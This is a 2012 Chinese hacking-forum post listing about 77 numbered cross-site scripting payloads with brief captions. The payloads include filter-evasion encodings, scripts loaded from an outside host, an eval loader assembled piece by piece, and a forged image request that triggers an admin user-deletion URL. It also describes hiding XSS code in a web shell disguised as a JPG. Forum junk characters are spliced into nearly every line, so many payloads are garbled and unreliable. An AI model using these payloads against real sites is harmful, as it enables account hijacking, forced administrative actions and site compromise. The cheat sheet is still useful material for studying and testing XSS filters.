找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2383|回复: 0
打印 上一主题 下一主题

xss详细利用大全1

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:04:56 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
跨站图片shell! ^) ?. \7 J8 n. S7 u, }4 k6 l
XSS跨站代码  <script>alert("")</script>
; P, e" o7 T% l" p9 b2 x( j, F/ x3 z3 u# X' |
将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马8 R  o  K$ e- w0 |$ f/ \" [3 q3 o
2 M3 E+ ~# C0 B5 \6 |: v
; ]; k8 V' F. H( U
9 l! B7 {0 r: q1 a  J
1)普通的XSS JavaScript注入6 h$ U: U$ M+ m! M# H
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
' H0 P! f0 g+ w& b4 E
9 e# y  E  A* J(2)IMG标签XSS使用JavaScript命令  ^7 j" P7 Q/ ~9 `: U
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>. K% @8 q6 p, i) E# o

& i: l1 [: H* M$ B0 W( G' b(3)IMG标签无分号无引号5 L- H8 w5 V" s3 x, e$ c- X
<IMG SRC=javascript:alert(‘XSS’)>. q: h! P/ }( p2 i0 d

+ J+ j1 a# g- D(4)IMG标签大小写不敏感
7 s. B- W6 @* O/ {; B+ K<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
, I: Q+ n* M+ L" u
# b) W" O8 F* c+ Z- L- ^(5)HTML编码(必须有分号)
/ v% }$ E/ b. M5 ]) H/ o) f<IMG SRC=javascript:alert(“XSS”)>
" X5 E1 q1 J% z
; {) T- l5 v% L9 ~(6)修正缺陷IMG标签7 ~' X( o: V2 O# n; I, Z
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
6 T( ^- M8 U  L2 p  A1 `
5 L+ a. B; Y& ~" G+ U(7)formCharCode标签(计算器)0 [( o$ t  h: D# u  D
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
% M) ~8 \. R; g: q" d# k1 j
* T% }# [6 ]) Q3 T6 y- q(8)UTF-8的Unicode编码(计算器)
. V9 M. P8 _+ s2 o; P+ c<IMG SRC=jav..省略..S')>
( A; R& |$ w+ G' N4 @
4 o: Q2 }, P) k: f3 _(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
& d# U/ p2 Y; F! Z* n$ n3 L, _<IMG SRC=jav..省略..S')>
6 o: w1 O/ O* q/ h; N5 b9 v
* P7 L6 |9 \' V+ H! U(10)十六进制编码也是没有分号(计算器)
/ G$ a7 j) o# X  [- \3 b) b- h: [1 F1 ]<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>2 ~) F9 ^3 d. ]. x0 r
( \3 Q) I4 G6 T
(11)嵌入式标签,将Javascript分开
7 f7 b, r5 g* S0 A# ]4 P6 N<IMG SRC=”jav ascript:alert(‘XSS’);”>! \6 L9 E: P9 h+ T8 M) q# h
* ?/ X! R, e! e( y" ?1 n# W& x9 y! O: I
(12)嵌入式编码标签,将Javascript分开
" c  D7 ^7 G# C7 _, U$ R<IMG SRC=”jav ascript:alert(‘XSS’);”>  O7 M' h. ]. r
4 A# S3 N6 f; g% h: Q# q
(13)嵌入式换行符
7 y- v$ t+ `+ [& }  t, ]<IMG SRC=”jav ascript:alert(‘XSS’);”>
5 J* ]7 I5 T! E8 z( [# @& }. g* A. |5 R
(14)嵌入式回车
5 y- H6 W, J/ [& ^- t<IMG SRC=”jav ascript:alert(‘XSS’);”>2 j8 C* {% K" v8 n& ~! U5 M2 [

! t$ B$ {' c& }6 ], {* v(15)嵌入式多行注入JavaScript,这是XSS极端的例子
+ L# q& w" Y( _3 T9 A+ H7 |<IMG SRC=”javascript:alert(‘XSS‘)”>  K4 Y( |5 N/ Y4 V  P; j

1 `) i2 R& ^! e) c; G. M(16)解决限制字符(要求同页面)6 g: R4 Y, j8 f: V* c
<script>z=’document.’</script>- c9 S( j- ^3 j* Z2 \4 `. Q
<script>z=z+’write(“‘</script>1 q4 u5 C9 Z2 c
<script>z=z+’<script’</script>) p- c# {) L1 X  ]- b# P
<script>z=z+’ src=ht’</script>
! O0 ]# _) C/ e# ?8 d  L5 i* u! ]" A<script>z=z+’tp://ww’</script>8 o8 j! \5 }" J8 T2 G
<script>z=z+’w.shell’</script>' R* v2 f  U+ {! n& L* i2 m
<script>z=z+’.net/1.’</script>
0 {. H; G- E# [<script>z=z+’js></sc’</script>8 S) c. Y- G, }5 g+ d
<script>z=z+’ript>”)’</script>
5 N8 Q+ {$ _5 V: B& ]<script>eval_r(z)</script>) ]# ?$ ?: N7 A

2 S/ s* W+ d: ~* R) ^(17)空字符
! ^9 i( |8 p3 p- ^0 hperl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out% m# y: X, B7 g& o" ]  p9 a

5 P$ a, |2 d+ T(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用/ s; E" t! }8 `
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out% r' V1 X1 h2 Z) k& P9 k
4 w1 f: K6 `% o  l- i; N3 C/ V3 g$ ~
(19)Spaces和meta前的IMG标签
* z8 L! w, X# U- c' H, k! H" E<IMG SRC=” javascript:alert(‘XSS’);”>  U- e; T/ C" e: M

* v3 P, j# r$ j8 `$ _1 C0 a8 e9 @! ?- i(20)Non-alpha-non-digit XSS/ v; A8 G1 b# U$ k& K9 g
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>' i( |* Q) C7 [8 s8 W$ i6 Q: [* Q/ p
6 D9 u5 d8 I- L  W, B! y
(21)Non-alpha-non-digit XSS to 2* E: v0 W( P5 D8 H& u
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>0 ~; _% `) K* v- M
7 O8 j& Z; ^) j; p
(22)Non-alpha-non-digit XSS to 3
& e  }2 @& @: k& X<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
$ `* l* }8 Y! h7 J2 f- G+ h6 B& N* r
(23)双开括号  w- X2 T$ w- \
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
& O+ T; L& Y5 h9 E
- {% X) {% p& \% r8 h4 ^% j/ C(24)无结束脚本标记(仅火狐等浏览器)9 G/ L" a% m: r  Z: Y$ U  e5 z
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>" s/ L8 G; H: a4 E; S; p
9 ]  K+ _, e% \. X( q+ v8 A, w
(25)无结束脚本标记2
# F6 y8 i" u' V! x& H; s<SCRIPT SRC=//3w.org/XSS/xss.js>( D8 {6 |+ |$ Y1 ]5 C4 n

! r4 J: e' ~8 X4 ?8 R. G(26)半开的HTML/JavaScript XSS8 Y2 `1 R8 K- x) Q3 Y$ W
<IMG SRC=”javascript:alert(‘XSS’)”7 s& K- @/ K7 ?" Z
8 x- R3 z1 l2 D! T$ h2 v1 O' u
(27)双开角括号  ]* \$ J" V' y' }+ P$ d
<iframe src=http://3w.org/XSS.html <
/ g- g1 N5 y/ X# b" L7 |8 S, k, [) {) a' k. B
(28)无单引号 双引号 分号
$ b7 r  U1 d) K  b5 s<SCRIPT>a=/XSS/
- g8 C, z) r# Q8 P# t) oalert(a.source)</SCRIPT>
5 F3 ]: X6 Y& Y5 a4 P: T8 E8 i! W- i7 s/ v* Q
(29)换码过滤的JavaScript* q0 h% g. c1 g7 M
\”;alert(‘XSS’);//* N8 H" V9 q/ L+ c1 |$ o+ B) F

, g5 ^1 i$ @$ k3 K. x% t; y0 A" W( ?(30)结束Title标签
+ ]" O$ O5 _6 ~& \  s6 f" j</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
9 ]3 x9 t9 _! n: ]9 f) _
# m1 V) \9 h. B: m(31)Input Image8 c6 a. d6 i, N7 x5 P1 ^* P/ ^
<INPUT SRC=”javascript:alert(‘XSS’);”>
+ b/ ^8 |2 f9 f$ c& S3 z
7 U0 [$ y  W4 @(32)BODY Image+ N+ t: q6 A. N$ O5 B
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>, B2 v! S* n  D$ E# `- H7 t: B3 e  O

3 ~9 Z  a& K) l' S) Q- e(33)BODY标签2 ^$ h$ c5 v2 r% P
<BODY(‘XSS’)>3 R, F- H  y, X8 G0 H$ O
  n4 p2 P  p& O6 X8 ^
(34)IMG Dynsrc, [( ~4 A, p( W7 V2 g
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
( T: @& z, J" m' c! G4 u7 o
! D! O; K5 S; U6 L" P(35)IMG Lowsrc
- Z' i2 k3 h. Y0 {; n* G<IMG LOWSRC=”javascript:alert(‘XSS’)”>
7 G, B/ f, C( t& _+ i0 b
6 B! O8 O9 O8 \* B: l, w' `(36)BGSOUND
/ K+ w: |: T  Z% E# F. g<BGSOUND SRC=”javascript:alert(‘XSS’);”>+ `2 x+ X1 ?$ C% J5 f# ]8 ~
3 V5 o% a% h, X. x
(37)STYLE sheet
$ g2 p9 `# j# k3 h, j6 G# O<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
, Z3 k3 w7 r: q- I" g4 ^
- V9 y# b8 [: p+ y4 N5 @(38)远程样式表' L+ s. X7 J9 ]. y1 _
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>! y) L# a" u4 p
& a5 z* E4 i( `7 x+ G9 C" G, Z
(39)List-style-image(列表式)$ W5 s( I# [* ^3 d! @4 f5 l
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS4 i' k% ?. m& r) X

9 _( E8 M/ ^! x9 {0 s(40)IMG VBscript) `1 z' X  O8 ]" K% t" z
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS( s; t4 E" m4 B
5 U8 ?2 a, @$ i) s$ x) r
(41)META链接url
* c5 P, X! [* ^/ D" {$ S<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>5 k* q5 _1 A: V7 L. U  \& H2 r
% \! L6 {6 i# w1 [; V, q5 ]
(42)Iframe
; |% ~( E4 T9 e! g! [4 E5 d" x9 r<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
$ L( _# x  u) `(43)Frame
; Q: F( J! ~9 z; z* }( P" b<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
! Q# b; Z6 c. o/ T. e& r6 O2 J: T# y6 O6 f8 T8 y2 E
(44)Table, m" l. x9 y/ Y  i
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>( N- S* A  v$ d/ l6 Q% p

5 ?; r  U4 k: _8 v(45)TD
6 A9 L2 O& q7 x; j8 K<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>" j- @( q# ]% z9 ?6 D& X# s

  V/ a8 G# c6 k: J+ Q: P5 U& M' Y" `) S; B(46)DIV background-image
( W3 u; ~. ~. {1 e: W0 ?<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>) ^' |1 v) j! c
# d& c" ]' p% d7 ~8 ]1 P
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)( o6 Z( [: a4 n% m2 g; J1 z
<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>
; O  ]4 w0 i- U1 X1 Q8 ^1 X# ?' Z3 ]) d* f
(48)DIV expression
% r% D1 h9 W2 e3 p<DIV STYLE=”width: expression_r(alert(‘XSS’));”>/ L( G+ P$ C8 Q% \

7 K8 a  N0 E+ q! \; h: [(49)STYLE属性分拆表达- s) K: E% n1 c5 |% b7 t
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>" O9 S6 b9 O5 M/ Z) T9 m' L+ n
, ]& ], r* X; ~# T- r' _
(50)匿名STYLE(组成:开角号和一个字母开头)
: \! P8 G9 V7 n& O1 h<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
8 F# z/ @" a& k& b5 g$ X) Q3 o- y) k0 g2 o9 y
(51)STYLE background-image
6 I" y4 e) v; m* R/ u. ]( o% c<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>" h+ s1 Y3 Y" b$ A' W
8 F0 _! K0 Q2 F, S2 Z! s' I
(52)IMG STYLE方式
0 s% B9 G- X7 w4 G( ]exppression(alert(“XSS”))’>1 z8 b, r! F: B

; M- i+ [8 t# R9 y4 @(53)STYLE background
6 {1 o/ B3 x1 L6 \. [<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>8 o2 G9 Y+ i+ e! ^

2 B5 V3 Y: r' |8 R(54)BASE
: X6 Q* ]9 x' L) q, Z<BASE HREF=”javascript:alert(‘XSS’);//”>& u. ^8 a. Z2 a; N$ g& `

. P$ }# u! [% n5 o" p(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS7 X( F" k& K$ ?; @# \
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>: O& O+ w/ d# n9 R( ]4 T* S
+ e2 M8 Z  l9 H7 h; w2 b- o% K
(56)在flash中使用ActionScrpt可以混进你XSS的代码
# Q2 |3 A% o+ Y8 K1 m* Ja=”get”;% |) ?2 U( H4 T6 U- }5 A( b3 @
b=”URL(\”";, k, M- z7 ^" J8 K4 S. R4 A
c=”javascript:”;/ ^  ?' S1 A  x3 d0 S
d=”alert(‘XSS’);\”)”;5 k* d9 c# W5 m6 W
eval_r(a+b+c+d);
# \  C& O3 G9 P/ ?" a1 H$ Q( E
  ]9 v) h7 q0 c, d(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
, X; R% V5 ~$ S& K" C% H7 T<HTML xmlns:xss>% I" V8 L: N: x7 Y6 \1 m. k" ^* V
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
$ |4 V, {, \: P3 g2 R0 d<xss:xss>XSS</xss:xss>
$ z4 O$ H" {6 S0 e/ Z+ [  A& C! d% y/ A. R</HTML>2 J' Q) m# P2 a% Q) O2 r

3 y$ ^- Y+ V( U+ Y+ X(58)如果过滤了你的JS你可以在图片里添加JS代码来利用) m( |% r. f, W( X5 f
<SCRIPT SRC=””></SCRIPT>* t/ w6 D4 D- ^3 Y6 a$ Q

' c1 s" w0 \) Y" a( I(59)IMG嵌入式命令,可执行任意命令
; T$ A1 ?  t7 \3 k% x<IMG SRC=”http://www.XXX.com/a.php?a=b”>
  V6 s7 N, f* t# ^
( r9 s! \' o4 I" p0 r(60)IMG嵌入式命令(a.jpg在同服务器)+ D! ]# ^, `  Y& Q7 H! T0 v) @$ O
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
. u4 Y' `8 |6 e9 n4 a( U8 R9 _. f4 o0 l! u
(61)绕符号过滤* S/ V& A+ b+ X3 m& Q
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>  P2 Q3 p! _" B8 o

2 c& C+ X( i$ d. ~(62)
) m, p. b; |# D# x2 T( i) j; g<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>7 j1 W$ {2 z5 B$ }8 ]
) B, k' M$ J7 i! }, x
(63)
1 @7 ~- G7 H- i: n<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>; K& s* x* y, F2 l7 s6 A
$ r. r! m" M3 F7 j
(64)
1 t2 ~+ S( b4 S4 W& o/ I2 E2 h5 g<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
) G; m' G  @" Y. U2 V' F9 w
' Y  F& t$ y2 o(65)
+ c4 E( J& L* ^: U; z  [<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>' x6 u. P+ L, P  ^5 |* ]

& u- g) I9 ~0 @8 K5 s- z6 p(66)
: r" s; Q+ }7 E2 N9 T4 _# ~3 L: q" p$ d<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
5 P4 U$ d$ M# |) M  ]* e. ^  @8 I+ i2 U7 v8 d' V
(67)
. Q3 K% T! I$ Y8 D5 a<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>
( F  ]6 T& L% d5 N- p% z$ Y4 G" ^& t) o+ m  l, L
(68)URL绕行* m. d5 M2 |: Z* c, N
<A HREF=”http://127.0.0.1/”>XSS</A>
. v- h% g4 d3 \9 |2 N8 o4 m% K4 ]2 ]' O' C! w: y; ?, W1 @) z
(69)URL编码
3 U6 s9 w  d" N, O/ N<A HREF=”http://3w.org”>XSS</A>
  i1 s$ `* ]: L0 W, c7 W  G+ O/ `+ u5 \4 Z
(70)IP十进制
/ t3 _' J4 a7 _2 k- P$ |<A HREF=”http://3232235521″>XSS</A>7 z  F% N5 }* |# r; k2 s

; f) |# y& f% D/ h(71)IP十六进制: j5 x. M+ V5 Y. y5 b
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>- [. T& S% V; n. y" N+ V

" m- I' n) Z2 _3 Z(72)IP八进制
  j2 `: K3 |) S) F* ^<A HREF=”http://0300.0250.0000.0001″>XSS</A>' D9 W$ b3 i3 h+ k3 ~2 G; @  i
: @8 @# ^) u7 o+ e- K
(73)混合编码
" i/ k: n! @+ `6 l. G' Q<A HREF=”h- L! i& C1 i: h3 l
tt p://6 6.000146.0×7.147/”">XSS</A>
9 v  O/ T+ e) ^2 E  a: Z
( M5 Y' F$ z5 Y; E; [(74)节省[http:]
: e! @. t* F/ p' K( }+ L5 q) h<A HREF=”//www.google.com/”>XSS</A>
7 g# ]& Y. n- g# D6 Y; J
1 G9 O+ E1 [' X7 }2 M(75)节省[www]
4 {7 _: ?0 M& u) Y! d<A HREF=”http://google.com/”>XSS</A>
, y6 @, [5 L& \7 I- ^# F
$ K' z6 A7 E  V3 q9 u' |(76)绝对点绝对DNS
5 F5 B! k* O. q& J2 J0 N<A HREF=”http://www.google.com./”>XSS</A>! K$ g6 L2 t* d. `9 ~" L
4 Y. {" P; C/ w4 r
(77)javascript链接( V( W5 k2 Y4 c
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>0 l! O, }. Q7 {5 E8 Z5 t( M
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表